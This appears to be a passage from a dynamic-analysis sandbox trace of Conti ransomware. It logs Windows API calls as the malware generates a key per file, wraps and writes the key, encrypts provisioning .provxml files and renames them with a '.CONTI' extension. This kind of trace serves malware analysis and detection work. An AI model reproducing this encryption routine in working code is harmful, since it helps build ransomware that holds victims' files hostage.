	[0112.515] ReadFile (in: hFile=0x418, lpBuffer=0xda50000, nNumberOfBytesToRead=0x2ce, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x2ce, lpOverlapped=0x0) returned 1
	[0112.515] CryptEncrypt (in: hKey=0x17c7bb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2ce, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2d0) returned 1
	[0112.515] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.515] WriteFile (in: hFile=0x418, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x2d0, lpOverlapped=0x0) returned 1
	[0112.515] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.515] WriteFile (in: hFile=0x418, lpBuffer=0x65b02c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x65b02c8*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0112.515] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.515] CloseHandle (hObject=0x418) returned 1
	[0112.515] GetProcessHeap () returned 0x1720000
	[0112.515] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.515] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml"
	[0112.515] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.515] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\549__connections_cellular_orange (kenya)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\549__connections_cellular_orange (kenya)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.516] GetProcessHeap () returned 0x1720000
	[0112.516] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.516] CryptDestroyKey (hKey=0x17c7bb0) returned 1
	[0112.516] GetProcessHeap () returned 0x1720000
	[0112.516] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b6b28 | out: hHeap=0x1720000) returned 1
	[0112.516] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0112.516] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x65b19a0 | out: phKey=0x65b19a0*=0x17c78b0) returned 1
	[0112.516] CryptExportKey (in: hKey=0x17c78b0, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b19a4, pdwDataLen=0x4bffe94 | out: pbData=0x65b19a4*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0112.517] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\550__connections_cellular_orange (madagascar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.517] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\550__connections_cellular_orange (madagascar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0112.517] GetLastError () returned 0x0
	[0112.518] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=716) returned 1
	[0112.518] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cc
	[0112.518] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.518] SetEndOfFile (hFile=0x418) returned 1
	[0112.518] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.518] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.518] WriteFile (in: hFile=0x418, lpBuffer=0x65b19a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x65b19a4*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.524] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.525] ReadFile (in: hFile=0x418, lpBuffer=0xda50000, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x2cc, lpOverlapped=0x0) returned 1
	[0112.525] CryptEncrypt (in: hKey=0x17c78b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2cc, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2d0) returned 1
	[0112.525] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.525] WriteFile (in: hFile=0x418, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x2d0, lpOverlapped=0x0) returned 1
	[0112.525] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.525] WriteFile (in: hFile=0x418, lpBuffer=0x65b1998*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x65b1998*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0112.525] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.525] CloseHandle (hObject=0x418) returned 1
	[0112.525] GetProcessHeap () returned 0x1720000
	[0112.525] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.525] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml"
	[0112.525] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.525] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\550__connections_cellular_orange (madagascar)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\550__connections_cellular_orange (madagascar)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.526] GetProcessHeap () returned 0x1720000
	[0112.526] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.526] CryptDestroyKey (hKey=0x17c78b0) returned 1
	[0112.526] GetProcessHeap () returned 0x1720000
	[0112.526] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b7d18 | out: hHeap=0x1720000) returned 1
	[0112.526] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0112.526] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x65b0760 | out: phKey=0x65b0760*=0x17c7770) returned 1
	[0112.526] CryptExportKey (in: hKey=0x17c7770, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b0764, pdwDataLen=0x4bffe94 | out: pbData=0x65b0764*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0112.527] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\552__connections_cellular_orange (mali)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0112.527] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\552__connections_cellular_orange (mali)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0112.527] GetLastError () returned 0x0
	[0112.527] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=839) returned 1
	[0112.527] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x347
	[0112.527] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.527] SetEndOfFile (hFile=0x418) returned 1
	[0112.528] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.528] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.528] WriteFile (in: hFile=0x418, lpBuffer=0x65b0764*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x65b0764*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.534] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.534] ReadFile (in: hFile=0x418, lpBuffer=0xda50000, nNumberOfBytesToRead=0x347, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x347, lpOverlapped=0x0) returned 1
	[0112.534] CryptEncrypt (in: hKey=0x17c7770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x347, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x350) returned 1
	[0112.534] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.534] WriteFile (in: hFile=0x418, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x350, lpOverlapped=0x0) returned 1
	[0112.534] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.534] WriteFile (in: hFile=0x418, lpBuffer=0x65b0758*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x65b0758*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0112.535] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.535] CloseHandle (hObject=0x418) returned 1
	[0112.535] GetProcessHeap () returned 0x1720000
	[0112.535] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.535] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml"
	[0112.535] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml.CONTI"
	[0112.535] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\552__connections_cellular_orange (mali)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\552__connections_cellular_orange (mali)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0112.536] GetProcessHeap () returned 0x1720000
	[0112.536] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.536] CryptDestroyKey (hKey=0x17c7770) returned 1
	[0112.536] GetProcessHeap () returned 0x1720000
	[0112.536] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b6c70 | out: hHeap=0x1720000) returned 1
	[0112.536] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0112.536] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x65b1e30 | out: phKey=0x65b1e30*=0x17c77f0) returned 1
	[0112.536] CryptExportKey (in: hKey=0x17c77f0, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b1e34, pdwDataLen=0x4bffe94 | out: pbData=0x65b1e34*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0112.537] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\554__connections_cellular_meditel (morocco)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.537] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\554__connections_cellular_meditel (morocco)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0112.537] GetLastError () returned 0x0
	[0112.537] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=850) returned 1
	[0112.537] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x352
	[0112.537] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.537] SetEndOfFile (hFile=0x418) returned 1
	[0112.538] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.538] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.538] WriteFile (in: hFile=0x418, lpBuffer=0x65b1e34*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x65b1e34*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.544] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.544] ReadFile (in: hFile=0x418, lpBuffer=0xda50000, nNumberOfBytesToRead=0x352, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x352, lpOverlapped=0x0) returned 1
	[0112.545] CryptEncrypt (in: hKey=0x17c77f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x352, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x360) returned 1
	[0112.545] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.545] WriteFile (in: hFile=0x418, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x360, lpOverlapped=0x0) returned 1
	[0112.545] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.545] WriteFile (in: hFile=0x418, lpBuffer=0x65b1e28*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x65b1e28*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0112.545] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.545] CloseHandle (hObject=0x418) returned 1
	[0112.545] GetProcessHeap () returned 0x1720000
	[0112.545] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.545] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml"
	[0112.545] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.545] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\554__connections_cellular_meditel (morocco)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\554__connections_cellular_meditel (morocco)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.546] GetProcessHeap () returned 0x1720000
	[0112.546] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.546] CryptDestroyKey (hKey=0x17c77f0) returned 1
	[0112.546] GetProcessHeap () returned 0x1720000
	[0112.546] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b84c8 | out: hHeap=0x1720000) returned 1
	[0112.546] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0112.546] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x65b22c0 | out: phKey=0x65b22c0*=0x17c7bb0) returned 1
